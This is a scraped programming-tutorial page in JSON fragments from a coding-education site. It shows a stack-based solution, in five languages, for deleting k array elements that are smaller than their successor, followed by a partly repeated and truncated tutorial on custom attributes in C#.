\n\n\nC\n\nC++\n\nJava\n\nPython\n\nC#\n\nJavaScript\n\njQuery\n\nSQL\n\nPHP\n\nScala\n\nPerl\n\nGo Language\n\nHTML\n\nCSS\n\nKotlin\n" }, { "code": null, "e": 18240, "s": 18236, "text": "\nC\n" }, { "code": null, "e": 18246, "s": 18240, "text": "\nC++\n" }, { "code": null, "e": 18253, "s": 18246, "text": "\nJava\n" }, { "code": null, "e": 18262, "s": 18253, "text": "\nPython\n" }, { "code": null, "e": 18267, "s": 18262, "text": "\nC#\n" }, { "code": null, "e": 18280, "s": 18267, "text": "\nJavaScript\n" }, { "code": null, "e": 18289, "s": 18280, "text": "\njQuery\n" }, { "code": null, "e": 18295, "s": 18289, "text": "\nSQL\n" }, { "code": null, "e": 18301, "s": 18295, "text": "\nPHP\n" }, { "code": null, "e": 18309, "s": 18301, "text": "\nScala\n" }, { "code": null, "e": 18316, "s": 18309, "text": "\nPerl\n" }, { "code": null, "e": 18330, "s": 18316, "text": "\nGo Language\n" }, { "code": null, "e": 18337, "s": 18330, "text": "\nHTML\n" }, { "code": null, "e": 18343, "s": 18337, "text": "\nCSS\n" }, { "code": null, "e": 18352, "s": 18343, "text": "\nKotlin\n" }, { "code": null, "e": 18430, "s": 18352, "text": "\nML & Data Science\n \n\n\nMachine Learning\n\nData Science\n" }, { "code": null, "e": 18449, "s": 18430, "text": "\nMachine Learning\n" }, { "code": null, "e": 18464, "s": 18449, "text": "\nData Science\n" }, { "code": null, "e": 18677, "s": 18464, "text": "\nCS Subjects\n \n\n\nMathematics\n\nOperating System\n\nDBMS\n\nComputer Networks\n\nComputer Organization and Architecture\n\nTheory of Computation\n\nCompiler Design\n\nDigital Logic\n\nSoftware Engineering\n" }, { "code": null, "e": 18691, "s": 18677, "text": "\nMathematics\n" }, { "code": null, "e": 18710, "s": 18691, "text": "\nOperating System\n" }, { "code": null, "e": 18717, "s": 18710, "text": "\nDBMS\n" }, { "code": null, "e": 18737, "s": 18717, "text": "\nComputer Networks\n" }, { "code": null, "e": 18778, "s": 18737, "text": "\nComputer Organization and Architecture\n" }, { "code": null, "e": 18802, "s": 18778, "text": "\nTheory of Computation\n" }, { "code": null, "e": 18820, "s": 18802, "text": "\nCompiler Design\n" }, { "code": null, "e": 18836, "s": 18820, "text": "\nDigital Logic\n" }, { "code": null, "e": 18859, "s": 18836, "text": "\nSoftware Engineering\n" }, { "code": null, "e": 19076, "s": 18859, "text": "\nGATE\n \n\n\nGATE Computer Science Notes\n\nLast Minute Notes\n\nGATE CS Solved Papers\n\nGATE CS Original Papers and Official Keys\n\nGATE 2021 Dates\n\nGATE CS 2021 Syllabus\n\nImportant Topics for GATE CS\n" }, { "code": null, "e": 19106, "s": 19076, "text": "\nGATE Computer Science Notes\n" }, { "code": null, "e": 19126, "s": 19106, "text": "\nLast Minute Notes\n" }, { "code": null, "e": 19150, "s": 19126, "text": "\nGATE CS Solved Papers\n" }, { "code": null, "e": 19194, "s": 19150, "text": "\nGATE CS Original Papers and Official Keys\n" }, { "code": null, "e": 19212, "s": 19194, "text": "\nGATE 2021 Dates\n" }, { "code": null, "e": 19236, "s": 19212, "text": "\nGATE CS 2021 Syllabus\n" }, { "code": null, "e": 19267, "s": 19236, "text": "\nImportant Topics for GATE CS\n" }, { "code": null, "e": 19387, "s": 19267, "text": "\nWeb Technologies\n \n\n\nHTML\n\nCSS\n\nJavaScript\n\nAngularJS\n\nReactJS\n\nNodeJS\n\nBootstrap\n\njQuery\n\nPHP\n" }, { "code": null, "e": 19394, "s": 19387, "text": "\nHTML\n" }, { "code": null, "e": 19400, "s": 19394, "text": "\nCSS\n" }, { "code": null, "e": 19413, "s": 19400, "text": "\nJavaScript\n" }, { "code": null, "e": 19425, "s": 19413, "text": "\nAngularJS\n" }, { "code": null, "e": 19435, "s": 19425, "text": "\nReactJS\n" }, { "code": null, "e": 19444, "s": 19435, "text": "\nNodeJS\n" }, { "code": null, "e": 19456, "s": 19444, "text": "\nBootstrap\n" }, { "code": null, "e": 19465, "s": 19456, "text": "\njQuery\n" }, { "code": null, "e": 19471, "s": 19465, "text": "\nPHP\n" }, { "code": null, "e": 19566, "s": 19471, "text": "\nSoftware Designs\n \n\n\nSoftware Design Patterns\n\nSystem Design Tutorial\n" }, { "code": null, "e": 19593, "s": 19566, "text": "\nSoftware Design Patterns\n" }, { "code": null, "e": 19618, "s": 19593, "text": "\nSystem Design Tutorial\n" }, { "code": null, "e": 19682, "s": 19618, "text": "\nSchool Learning\n \n\n\nSchool Programming\n" }, { "code": null, "e": 19703, "s": 19682, "text": "\nSchool Programming\n" }, { "code": null, "e": 19839, "s": 19703, "text": "\nMathematics\n \n\n\nNumber System\n\nAlgebra\n\nTrigonometry\n\nStatistics\n\nProbability\n\nGeometry\n\nMensuration\n\nCalculus\n" }, { "code": null, "e": 19855, "s": 19839, "text": "\nNumber System\n" }, { "code": null, "e": 19865, "s": 19855, "text": "\nAlgebra\n" }, { "code": null, "e": 19880, "s": 19865, "text": "\nTrigonometry\n" }, { "code": null, "e": 19893, "s": 19880, "text": "\nStatistics\n" }, { "code": null, "e": 19907, "s": 19893, "text": "\nProbability\n" }, { "code": null, "e": 19918, "s": 19907, "text": "\nGeometry\n" }, { "code": null, "e": 19932, "s": 19918, "text": "\nMensuration\n" }, { "code": null, "e": 19943, "s": 19932, "text": "\nCalculus\n" }, { "code": null, "e": 20074, "s": 19943, "text": "\nMaths Notes (Class 8-12)\n \n\n\nClass 8 Notes\n\nClass 9 Notes\n\nClass 10 Notes\n\nClass 11 Notes\n\nClass 12 Notes\n" }, { "code": null, "e": 20090, "s": 20074, "text": "\nClass 8 Notes\n" }, { "code": null, "e": 20106, "s": 20090, "text": "\nClass 9 Notes\n" }, { "code": null, "e": 20123, "s": 20106, "text": "\nClass 10 Notes\n" }, { "code": null, "e": 20140, "s": 20123, "text": "\nClass 11 Notes\n" }, { "code": null, "e": 20157, "s": 20140, "text": "\nClass 12 Notes\n" }, { "code": null, "e": 20324, "s": 20157, "text": "\nNCERT Solutions\n \n\n\nClass 8 Maths Solution\n\nClass 9 Maths Solution\n\nClass 10 Maths Solution\n\nClass 11 Maths Solution\n\nClass 12 Maths Solution\n" }, { "code": null, "e": 20349, "s": 20324, "text": "\nClass 8 Maths Solution\n" }, { "code": null, "e": 20374, "s": 20349, "text": "\nClass 9 Maths Solution\n" }, { "code": null, "e": 20400, "s": 20374, "text": "\nClass 10 Maths Solution\n" }, { "code": null, "e": 20426, "s": 20400, "text": "\nClass 11 Maths Solution\n" }, { "code": null, "e": 20452, "s": 20426, "text": "\nClass 12 Maths Solution\n" }, { "code": null, "e": 20623, "s": 20452, "text": "\nRD Sharma Solutions\n \n\n\nClass 8 Maths Solution\n\nClass 9 Maths Solution\n\nClass 10 Maths Solution\n\nClass 11 Maths Solution\n\nClass 12 Maths Solution\n" }, { "code": null, "e": 20648, "s": 20623, "text": "\nClass 8 Maths Solution\n" }, { "code": null, "e": 20673, "s": 20648, "text": "\nClass 9 Maths Solution\n" }, { "code": null, "e": 20699, "s": 20673, "text": "\nClass 10 Maths Solution\n" }, { "code": null, "e": 20725, "s": 20699, "text": "\nClass 11 Maths Solution\n" }, { "code": null, "e": 20751, "s": 20725, "text": "\nClass 12 Maths Solution\n" }, { "code": null, "e": 20868, "s": 20751, "text": "\nPhysics Notes (Class 8-11)\n \n\n\nClass 8 Notes\n\nClass 9 Notes\n\nClass 10 Notes\n\nClass 11 Notes\n" }, { "code": null, "e": 20884, "s": 20868, "text": "\nClass 8 Notes\n" }, { "code": null, "e": 20900, "s": 20884, "text": "\nClass 9 Notes\n" }, { "code": null, "e": 20917, "s": 20900, "text": "\nClass 10 Notes\n" }, { "code": null, "e": 20934, "s": 20917, "text": "\nClass 11 Notes\n" }, { "code": null, "e": 20976, "s": 20934, "text": "\nCS Exams/PSUs\n \n\n" }, { "code": null, "e": 21121, "s": 20976, "text": "\nISRO\n \n\n\nISRO CS Original Papers and Official Keys\n\nISRO CS Solved Papers\n\nISRO CS Syllabus for Scientist/Engineer Exam\n" }, { "code": null, "e": 21165, "s": 21121, "text": "\nISRO CS Original Papers and Official Keys\n" }, { "code": null, "e": 21189, "s": 21165, "text": "\nISRO CS Solved Papers\n" }, { "code": null, "e": 21236, "s": 21189, "text": "\nISRO CS Syllabus for Scientist/Engineer Exam\n" }, { "code": null, "e": 21353, "s": 21236, "text": "\nUGC NET\n \n\n\nUGC NET CS Notes Paper II\n\nUGC NET CS Notes Paper III\n\nUGC NET CS Solved Papers\n" }, { "code": null, "e": 21381, "s": 21353, "text": "\nUGC NET CS Notes Paper II\n" }, { "code": null, "e": 21410, "s": 21381, "text": "\nUGC NET CS Notes Paper III\n" }, { "code": null, "e": 21437, "s": 21410, "text": "\nUGC NET CS Solved Papers\n" }, { "code": null, "e": 21677, "s": 21437, "text": "\nStudent\n \n\n\nCampus Ambassador Program\n\nSchool Ambassador Program\n\nProject\n\nGeek of the Month\n\nCampus Geek of the Month\n\nPlacement Course\n\nCompetititve Programming\n\nTestimonials\n\nGeek on the Top\n\nCareers\n\nInternship\n" }, { "code": null, "e": 21705, "s": 21677, "text": "\nCampus Ambassador Program\n" }, { "code": null, "e": 21733, "s": 21705, "text": "\nSchool Ambassador Program\n" }, { "code": null, "e": 21743, "s": 21733, "text": "\nProject\n" }, { "code": null, "e": 21763, "s": 21743, "text": "\nGeek of the Month\n" }, { "code": null, "e": 21790, "s": 21763, "text": "\nCampus Geek of the Month\n" }, { "code": null, "e": 21809, "s": 21790, "text": "\nPlacement Course\n" }, { "code": null, "e": 21836, "s": 21809, "text": "\nCompetititve Programming\n" }, { "code": null, "e": 21851, "s": 21836, "text": "\nTestimonials\n" }, { "code": null, "e": 21869, "s": 21851, "text": "\nGeek on the Top\n" }, { "code": null, "e": 21879, "s": 21869, "text": "\nCareers\n" }, { "code": null, "e": 21892, "s": 21879, "text": "\nInternship\n" }, { "code": null, "e": 21930, "s": 21892, "text": "\nTutorials\n \n\n" }, { "code": null, "e": 22003, "s": 21930, "text": "\nJobs\n \n\n\nApply for Jobs\n\nPost a Job\n\nJOB-A-THON\n" }, { "code": null, "e": 22020, "s": 22003, "text": "\nApply for Jobs\n" }, { "code": null, "e": 22033, "s": 22020, "text": "\nPost a Job\n" }, { "code": null, "e": 22046, "s": 22033, "text": "\nJOB-A-THON\n" }, { "code": null, "e": 22052, "s": 22046, "text": "GBlog" }, { "code": null, "e": 22060, "s": 22052, "text": "Puzzles" }, { "code": null, "e": 22073, "s": 22060, "text": "What's New ?" }, { "code": null, "e": 22079, "s": 22073, "text": "Array" }, { "code": null, "e": 22086, "s": 22079, "text": "Matrix" }, { "code": null, "e": 22094, "s": 22086, "text": "Strings" }, { "code": null, "e": 22102, "s": 22094, "text": "Hashing" }, { "code": null, "e": 22114, "s": 22102, "text": "Linked List" }, { "code": null, "e": 22120, "s": 22114, "text": "Stack" }, { "code": null, "e": 22126, "s": 22120, "text": "Queue" }, { "code": null, "e": 22138, "s": 22126, "text": "Binary Tree" }, { "code": null, "e": 22157, "s": 22138, "text": "Binary Search Tree" }, { "code": null, "e": 22162, "s": 22157, "text": "Heap" }, { "code": null, "e": 22168, "s": 22162, "text": "Graph" }, { "code": null, "e": 22178, "s": 22168, "text": "Searching" }, { "code": null, "e": 22186, "s": 22178, "text": "Sorting" }, { "code": null, "e": 22203, "s": 22186, "text": "Divide & Conquer" }, { "code": null, "e": 22216, "s": 22203, "text": "Mathematical" }, { "code": null, "e": 22226, "s": 22216, "text": "Geometric" }, { "code": null, "e": 22234, "s": 22226, "text": "Bitwise" }, { "code": null, "e": 22241, "s": 22234, "text": "Greedy" }, { "code": null, "e": 22254, "s": 22241, "text": "Backtracking" }, { "code": null, "e": 22271, "s": 22254, "text": "Branch and Bound" }, { "code": null, "e": 22291, "s": 22271, "text": "Dynamic Programming" }, { "code": null, "e": 22309, "s": 22291, "text": "Pattern Searching" }, { "code": null, "e": 22320, "s": 22309, "text": "Randomized" }, { "code": null, "e": 22347, "s": 22320, "text": "Sorting array using Stacks" }, { "code": null, "e": 22415, "s": 22347, "text": "Delete array elements which are smaller than next or become smaller" }, { "code": null, "e": 22471, "s": 22415, "text": "Interleave the first half of the queue with second half" }, { "code": null, "e": 22507, "s": 22471, "text": "Sorting a Queue without extra space" }, { "code": null, "e": 22538, "s": 22507, "text": "Sort the Queue using Recursion" }, { "code": null, "e": 22602, "s": 22538, "text": "Check if a queue can be sorted into another queue using a stack" }, { "code": null, "e": 22627, "s": 22602, "text": "Reverse individual words" }, { "code": null, "e": 22659, "s": 22627, "text": "Reverse words in a given string" }, { "code": null, "e": 22700, "s": 22659, "text": "Print words of a string in reverse order" }, { "code": null, "e": 22747, "s": 22700, "text": "Different methods to reverse a string in C/C++" }, { "code": null, "e": 22769, "s": 22747, "text": "std::reverse() in C++" }, { "code": null, "e": 22811, "s": 22769, "text": "How to reverse a Vector using STL in C++?" }, { "code": null, "e": 22865, "s": 22811, "text": "What are the default values of static variables in C?" }, { "code": null, "e": 22924, "s": 22865, "text": "Understanding “volatile” qualifier in C | Set 2 (Examples)" }, { "code": null, "e": 22945, "s": 22924, "text": "Const Qualifier in C" }, { "code": null, "e": 22985, "s": 22945, "text": "Initialization of static variables in C" }, { "code": null, "e": 23023, "s": 22985, "text": "Understanding “register” keyword in C" }, { "code": null, "e": 23059, "s": 23023, "text": "Understanding “extern” keyword in C" }, { "code": null, "e": 23080, "s": 23059, "text": "Storage Classes in C" }, { "code": null, "e": 23102, "s": 23080, "text": "Static Variables in C" }, { "code": null, "e": 23130, "s": 23102, "text": "Memory Layout of C Programs" }, { "code": null, "e": 23182, "s": 23130, "text": "How to deallocate memory without using free() in C?" }, { "code": null, "e": 23237, "s": 23182, "text": "Difference Between malloc() and calloc() with Examples" }, { "code": null, "e": 23315, "s": 23237, "text": "Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc()" }, { "code": null, "e": 23360, "s": 23315, "text": "How to dynamically allocate a 2D array in C?" }, { "code": null, "e": 23375, "s": 23360, "text": "Arrays in Java" }, { "code": null, "e": 23421, "s": 23375, "text": "Write a program to reverse an array or string" }, { "code": null, "e": 23453, "s": 23421, "text": "Largest Sum Contiguous Subarray" }, { "code": null, "e": 23480, "s": 23453, "text": "Program for array rotation" }, { "code": null, "e": 23496, "s": 23480, "text": "Arrays in C/C++" }, { "code": null, "e": 23523, "s": 23496, "text": "Sorting array using Stacks" }, { "code": null, "e": 23591, "s": 23523, "text": "Delete array elements which are smaller than next or become smaller" }, { "code": null, "e": 23647, "s": 23591, "text": "Interleave the first half of the queue with second half" }, { "code": null, "e": 23683, "s": 23647, "text": "Sorting a Queue without extra space" }, { "code": null, "e": 23714, "s": 23683, "text": "Sort the Queue using Recursion" }, { "code": null, "e": 23778, "s": 23714, "text": "Check if a queue can be sorted into another queue using a stack" }, { "code": null, "e": 23803, "s": 23778, "text": "Reverse individual words" }, { "code": null, "e": 23835, "s": 23803, "text": "Reverse words in a given string" }, { "code": null, "e": 23876, "s": 23835, "text": "Print words of a string in reverse order" }, { "code": null, "e": 23923, "s": 23876, "text": "Different methods to reverse a string in C/C++" }, { "code": null, "e": 23945, "s": 23923, "text": "std::reverse() in C++" }, { "code": null, "e": 23987, "s": 23945, "text": "How to reverse a Vector using STL in C++?" }, { "code": null, "e": 24041, "s": 23987, "text": "What are the default values of static variables in C?" }, { "code": null, "e": 24100, "s": 24041, "text": "Understanding “volatile” qualifier in C | Set 2 (Examples)" }, { "code": null, "e": 24121, "s": 24100, "text": "Const Qualifier in C" }, { "code": null, "e": 24161, "s": 24121, "text": "Initialization of static variables in C" }, { "code": null, "e": 24199, "s": 24161, "text": "Understanding “register” keyword in C" }, { "code": null, "e": 24235, "s": 24199, "text": "Understanding “extern” keyword in C" }, { "code": null, "e": 24256, "s": 24235, "text": "Storage Classes in C" }, { "code": null, "e": 24278, "s": 24256, "text": "Static Variables in C" }, { "code": null, "e": 24306, "s": 24278, "text": "Memory Layout of C Programs" }, { "code": null, "e": 24358, "s": 24306, "text": "How to deallocate memory without using free() in C?" }, { "code": null, "e": 24413, "s": 24358, "text": "Difference Between malloc() and calloc() with Examples" }, { "code": null, "e": 24491, "s": 24413, "text": "Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc()" }, { "code": null, "e": 24536, "s": 24491, "text": "How to dynamically allocate a 2D array in C?" }, { "code": null, "e": 24551, "s": 24536, "text": "Arrays in Java" }, { "code": null, "e": 24597, "s": 24551, "text": "Write a program to reverse an array or string" }, { "code": null, "e": 24629, "s": 24597, "text": "Largest Sum Contiguous Subarray" }, { "code": null, "e": 24656, "s": 24629, "text": "Program for array rotation" }, { "code": null, "e": 24672, "s": 24656, "text": "Arrays in C/C++" }, { "code": null, "e": 24696, "s": 24672, "text": "Difficulty Level :\nEasy" }, { "code": null, "e": 24909, "s": 24696, "text": "Given an array arr[] and a number k. The task is to delete k elements which are smaller than next element (i.e., we delete arr[i] if arr[i] < arr[i+1]) or become smaller than next because next element is deleted." }, { "code": null, "e": 24920, "s": 24909, "text": "Examples: " }, { "code": null, "e": 25559, "s": 24920, "text": "Input : arr[] = { 3, 100, 1 }\n k = 1\nOutput : 100, 1\nExplanation : arr[0] < arr[1] means 3 is less than\n 100, so delete 3\n\nInput : arr[] = {20, 10, 25, 30, 40}\n k = 2\nOutput : 25 30 40\nExplanation : First we delete 10 because it follows\n arr[i] < arr[i+1]. Then we delete 20\n because 25 is moved next to it and it\n also starts following the condition.\n\nInput : arr[] = { 23, 45, 11, 77, 18}\n k = 3\nOutput : 77, 18\nExplanation : We delete 23, 45 and 11 as they follow \n the condition arr[i] < arr[i+1]" }, { "code": null, "e": 25945, "s": 25559, "text": "Approach: Stack is used to solving this problem. First we push arr[0] in stack S and then initialize count as 0, then after traverse a loop from 1 to n and then we check that s.top() < arr[i] if condition is true then we pop the element from stack and increase the count if count == k then we stop the loop and then store the value of stack in another array and then print that array. " }, { "code": null, "e": 25949, "s": 25945, "text": "C++" }, { "code": null, "e": 25954, "s": 25949, "text": "Java" }, { "code": null, "e": 25962, "s": 25954, "text": "Python3" }, { "code": null, "e": 25965, "s": 25962, "text": "C#" }, { "code": null, "e": 25976, "s": 25965, "text": "Javascript" }, { "code": "// C++ program to delete elements from array.#include <bits/stdc++.h>using namespace std; // Function for deleting k elementsvoid deleteElements(int arr[], int n, int k){ // Create a stack and push arr[0] stack<int> s; s.push(arr[0]); int count = 0; // traversing a loop from i = 1 to n for (int i=1; i<n; i++) { // condition for deleting an element while (!s.empty() && s.top() < arr[i] && count < k) { s.pop(); count++; } s.push(arr[i]); } // Putting elements of stack in a vector // from end to begin. int m = s.size(); vector<int> v(m); // Size of vector is m while (!s.empty()) { // push element from stack to vector v v[--m] = s.top(); s.pop(); } // printing result for (auto x : v) cout << x << \" \"; cout << endl;} // Driver codeint main(){ int n = 5, k = 2; int arr[] = {20, 10, 25, 30, 40}; deleteElements(arr, n, k); return 0;}", "e": 27067, "s": 25976, "text": null }, { "code": "import java.util.*; //Java program to delete elements from array.class GFG { // Function for deleting k elements static void deleteElements(int arr[], int n, int k) { // Create a stack and push arr[0] Stack<Integer> s = new Stack<>(); s.push(arr[0]); int count = 0; // traversing a loop from i = 1 to n for (int i = 1; i < n; i++) { // condition for deleting an element while (!s.empty() && s.peek() < arr[i] && count < k) { s.pop(); count++; } s.push(arr[i]); } // Putting elements of stack in a vector // from end to begin. int m = s.size(); Integer[] v = new Integer[m]; // Size of vector is m while (!s.empty()) { // push element from stack to vector v v[--m] = s.peek(); s.pop(); } // printing result for (Integer x : v) { System.out.print(x + \" \"); }; System.out.println(\"\"); } // Driver code public static void main(String[] args) { int n = 5, k = 2; int arr[] = {20, 10, 25, 30, 40}; deleteElements(arr, n, k); }}// This code is contributed by PrinciRaj1992", "e": 28330, "s": 27067, "text": null }, { "code": "# Function to delete elementsdef deleteElements(arr, n, k): # create an empty stack st st = [] st.append(arr[0]) # index to maintain the top # of the stack top = 0 count = 0 for i in range(1, n): # pop till the present element # is greater than stack's top # element while(len(st) != 0 and count < k and st[top] < arr[i]): st.pop() count += 1 top -= 1 st.append(arr[i]) top += 1 # print the remaining elements for i in range(0, len(st)): print(st[i], \" \", end=\"\") # Driver codek = 2arr = [20, 10, 25, 30, 40]deleteElements(arr, len(arr), k) # This code is contributed by himan085.", "e": 29063, "s": 28330, "text": null }, { "code": "// C# program to delete elements from array.using System;using System.Collections.Generic; class GFG { // Function for deleting k elements static void deleteElements(int []arr, int n, int k) { // Create a stack and push arr[0] Stack<int> s = new Stack<int>(); s.Push(arr[0]); int count = 0; // traversing a loop from i = 1 to n for (int i = 1; i < n; i++) { // condition for deleting an element while (s.Count != 0 && s.Peek() < arr[i] && count < k) { s.Pop(); count++; } s.Push(arr[i]); } // Putting elements of stack in a vector // from end to begin. int m = s.Count; int[] v = new int[m]; // Size of vector is m while (s.Count != 0) { // push element from stack to vector v v[--m] = s.Peek(); s.Pop(); } // printing result foreach (int x in v) { Console.Write(x + \" \"); }; Console.Write(\"\"); } // Driver code public static void Main() { int n = 5, k = 2; int []arr = {20, 10, 25, 30, 40}; deleteElements(arr, n, k); }} // This code is contributed by 29AjayKumar", "e": 30371, "s": 29063, "text": null }, { "code": "<script> // Javascript program to delete elements from array. // Function for deleting k elementsfunction deleteElements(arr, n, k){ // Create a stack and push arr[0] var s = []; s.push(arr[0]); var count = 0; // Traversing a loop from i = 1 to n for(var i = 1; i < n; i++) { // condition for deleting an element while (s.length != 0 && s[s.length - 1] < arr[i] && count < k) { s.pop(); count++; } s.push(arr[i]); } // Putting elements of stack in a vector // from end to begin. var m = s.length; var v = Array(m).fill(0); // Size of vector is m while (s.length != 0) { // push element from stack to vector v m--; v[m] = s[s.length - 1]; s.pop(); } // printing result v.forEach(x => { document.write(x + \" \"); });} // Driver codevar n = 5, k = 2;var arr = [ 20, 10, 25, 30, 40 ] deleteElements(arr, n, k); // This code is contributed by itsok </script>", "e": 31459, "s": 30371, "text": null }, { "code": null, "e": 31469, "s": 31459, "text": "25 30 40 " }, { "code": null, "e": 31494, "s": 31471, "text": "Time Complexity: O(n2)" }, { "code": null, "e": 31520, "s": 31494, "text": "Auxiliary Space: O(n + m)" }, { "code": null, "e": 31529, "s": 31520, "text": "himan085" }, { "code": null, "e": 31543, "s": 31529, "text": "princiraj1992" }, { "code": null, "e": 31555, "s": 31543, "text": "29AjayKumar" }, { "code": null, "e": 31569, "s": 31555, "text": "swapnil.kesur" }, { "code": null, "e": 31575, "s": 31569, "text": "itsok" }, { "code": null, "e": 31592, "s": 31575, "text": "akshaysingh98088" }, { "code": null, "e": 31602, "s": 31592, "text": "samim2000" }, { "code": null, "e": 31612, "s": 31602, "text": "cpp-stack" }, { "code": null, "e": 31623, "s": 31612, "text": "cpp-vector" }, { "code": null, "e": 31627, "s": 31623, "text": "STL" }, { "code": null, "e": 31634, "s": 31627, "text": "Arrays" }, { "code": null, "e": 31640, "s": 31634, "text": "Stack" }, { "code": null, "e": 31647, "s": 31640, "text": "Arrays" }, { "code": null, "e": 31653, "s": 31647, "text": "Stack" }, { "code": null, "e": 31657, "s": 31653, "text": "STL" }, { "code": null, "e": 31755, "s": 31657, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 31764, "s": 31755, "text": "Comments" }, { "code": null, "e": 31777, "s": 31764, "text": "Old Comments" }, { "code": null, "e": 31825, "s": 31777, "text": "Stack Data Structure (Introduction and Program)" }, { "code": null, "e": 31869, "s": 31825, "text": "Top 50 Array Coding Problems for Interviews" }, { "code": null, "e": 31892, "s": 31869, "text": "Introduction to Arrays" }, { "code": null, "e": 31924, "s": 31892, "text": "Multidimensional Arrays in Java" }, { "code": null, "e": 31938, "s": 31924, "text": "Linear Search" }, { "code": null, "e": 31986, "s": 31938, "text": "Stack Data Structure (Introduction and Program)" }, { "code": null, "e": 32002, "s": 31986, "text": "Stack in Python" }, { "code": null, "e": 32022, "s": 32002, "text": "Stack Class in Java" }, { "code": null, "e": 32049, "s": 32022, "text": "Program for Tower of Hanoi" } ]
Custom Attributes in C# - GeeksforGeeks
24 Jun, 2019 Attributes are metadata extensions that give additional information to the compiler about the elements in the program code at runtime. Attributes are used to impose conditions or to increase the efficiency of a piece of code. There are built-in attributes present in C# but programmers may create their own attributes, such attributes are called Custom attributes. To create custom attributes we must construct classes that derive from the System.Attribute class. 1. Using the AttributeUsageAttribute: This tag defines the attribute that we are constructing. It provides information such as what the attribute targets are, if it can be inherited or if multiple instances of this attribute can exist. The AttributeUsageAttribute has three primary members as follows: AttributeTargets.All specifies that the attribute may be applied to all parts of the program whereas Attribute.Class indicates that it may be applied to a class and AttributeTargets.Method to a method.[AttributeUsageAttribute( AttributeTargets.All )] Inherited member is indicative of if the attribute might be inherited or not. It takes a boolean value (true/false). If this is not specified then the default is assumed to be true.[AttributeUsage(AttributeTargets.All, Inherited = false)] AllowMultiple member tells us if there can exist more than one instances of the attribute. It takes a boolean value as well. It is false by default.[AttributeUsage(AttributeTargets.Method, AllowMultiple = true)] 2. Defining the Attribute class: It is defined in the same way as a normal class is, the name of the class conventionally ends in ‘Attribute’. This class must inherit directly or indirectly from System.Attribute class.[AttributeUsage(AttributeTargets.All, Inherited = true, AllowMultiple = false)] public class MyAttribute : Attribute { //Class Members } 3. Defining Constructors and Properties: The constructors are used to set the values of the Attribute class pretty much like typical classes. Constructor overloading can be used to handle different assignments while provoking Attribute class objects.public MyAttribute(dataType value) { this.value = value; } Note: Custom Attributes can have properties like get and set for its members as well.public dataType MyProperty { get {return this.value;} set {this.value = newValue;} } Example 1: The code given below shows an example of a Custom Attribute named MyAttribute, which has two private members namely name and action. The ‘name’ is used for defining a name for any program element that the attribute may be applied to. The ‘action’ describes what the element is supposed to do. Here the attributes are applied to methods to class Student.// C# program to illustrate the // use of custom attributesusing System; // Creating Custom attribute MyAttribute [AttributeUsage(AttributeTargets.All)] public class MyAttribute : Attribute { // Provides name of the member private string name; // Provides description of the member private string action; // Constructor public MyAttribute(string name, string action) { this.name = name; this.action = action; } // property to get name public string Name { get { return name; } } // property to get description public string Action { get { return action; } }} class Student { // Private fields of class Student private int rollNo; private string stuName; private double marks; // The attribute MyAttribute is applied // to methods of class Student // Providing details of their utility [MyAttribute("Modifier", "Assigns the Student Details")] public void setDetails(int r, string sn, double m) { rollNo = r; stuName = sn; marks = m; } [MyAttribute("Accessor", "Returns Value of rollNo")] public int getRollNo() { return rollNo; } [MyAttribute("Accessor", "Returns Value of stuName")] public string getStuName() { return stuName; } [MyAttribute("Accessor", "Returns Value of marks")] public double getMarks() { return marks; }} class TestAttributes { // Main Method static void Main(string[] args) { Student s = new Student(); s.setDetails(1, "Taylor", 92.5); Console.WriteLine("Student Details"); Console.WriteLine("Roll Number : " + s.getRollNo()); Console.WriteLine("Name : " + s.getStuName()); Console.WriteLine("Marks : " + s.getMarks()); }}Output:Student Details Roll Number : 1 Name : Taylor Marks : 92.5 Example 2: In this example we can display the contents of the custom attribute that we created. Here the NewAttribute is a custom attribute with two fields namely title and description. The tile stores the title and description stores the function of the method to which NewAttribute is applied. The way to apply a Custom attribute to any part of the program you must call its constructor before the definition. NewAttribute also consists of a Parameterised constructor and a method to display the contents of the attribute. In the main you call the AttributeDisplay method using the class name as it is a static method, this displays the information about the methods of the classes to which the attribute is applied.// C# program to display the custom attributesusing System;using System.Reflection;using System.Collections.Generic; // Defining a Custom attribute classclass NewAttribute : Attribute { // Private fields private string title; private string description; // Parameterised Constructor public NewAttribute(string t, string d) { title = t; description = d; } // Method to show the Fields // of the NewAttribute // using reflection public static void AttributeDisplay(Type classType) { Console.WriteLine("Methods of class {0}", classType.Name); // Array to store all methods of a class // to which the attribute may be applied MethodInfo[] methods = classType.GetMethods(); // for loop to read through all methods for (int i = 0; i < methods.GetLength(0); i++) { // Creating object array to receive // method attributes returned // by the GetCustomAttributes method object[] attributesArray = methods[i].GetCustomAttributes(true); // foreach loop to read through // all attributes of the method foreach(Attribute item in attributesArray) { if (item is NewAttribute) { // Display the fields of the NewAttribute NewAttribute attributeObject = (NewAttribute)item; Console.WriteLine("{0} - {1}, {2} ", methods[i].Name, attributeObject.title, attributeObject.description); } } } }} // Class Employerclass Employer { // Fields of Employer int id; string name; // Constructor public Employer(int i, string n) { id = i; name = n; } // Applying the custom attribute // NewAttribute to the getId method [NewAttribute("Accessor", "Gives value of Employer Id")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute("Accessor", "Gives value of Employer Name")] public string getName() { return name; }} // Class Employeeclass Employee { // Fields of Employee int id; string name; public Employee(int i, string n) { id = i; name = n; } // Applying the custom // attribute NewAttribute // to the getId method [NewAttribute("Accessor", "Gives value of Employee Id")] public int getId() { return id; } // Applying the custom attribute // NewAttribute to the getName method [NewAttribute("Accessor", "Gives value of Employee Name")] public string getName() { return name; }} class Program { // Main Method static void Main(string[] args) { // Calling the AttributeDisplay // method using the class name // since it is a static method NewAttribute.AttributeDisplay(typeof(Employer)); Console.WriteLine(); NewAttribute.AttributeDisplay(typeof(Employee)); }}Output:Methods of class Employer getId - Accessor, Gives value of Employer Id getName - Accessor, Gives value of Employer Name Methods of class Employee getId - Accessor, Gives value of Employee Id getName - Accessor, Gives value of Employee Name My Personal Notes arrow_drop_upSave AttributeTargets.All specifies that the attribute may be applied to all parts of the program whereas Attribute.Class indicates that it may be applied to a class and AttributeTargets.Method to a method.[AttributeUsageAttribute( AttributeTargets.All )] [AttributeUsageAttribute( AttributeTargets.All )] Inherited member is indicative of if the attribute might be inherited or not. It takes a boolean value (true/false). If this is not specified then the default is assumed to be true.[AttributeUsage(AttributeTargets.All, 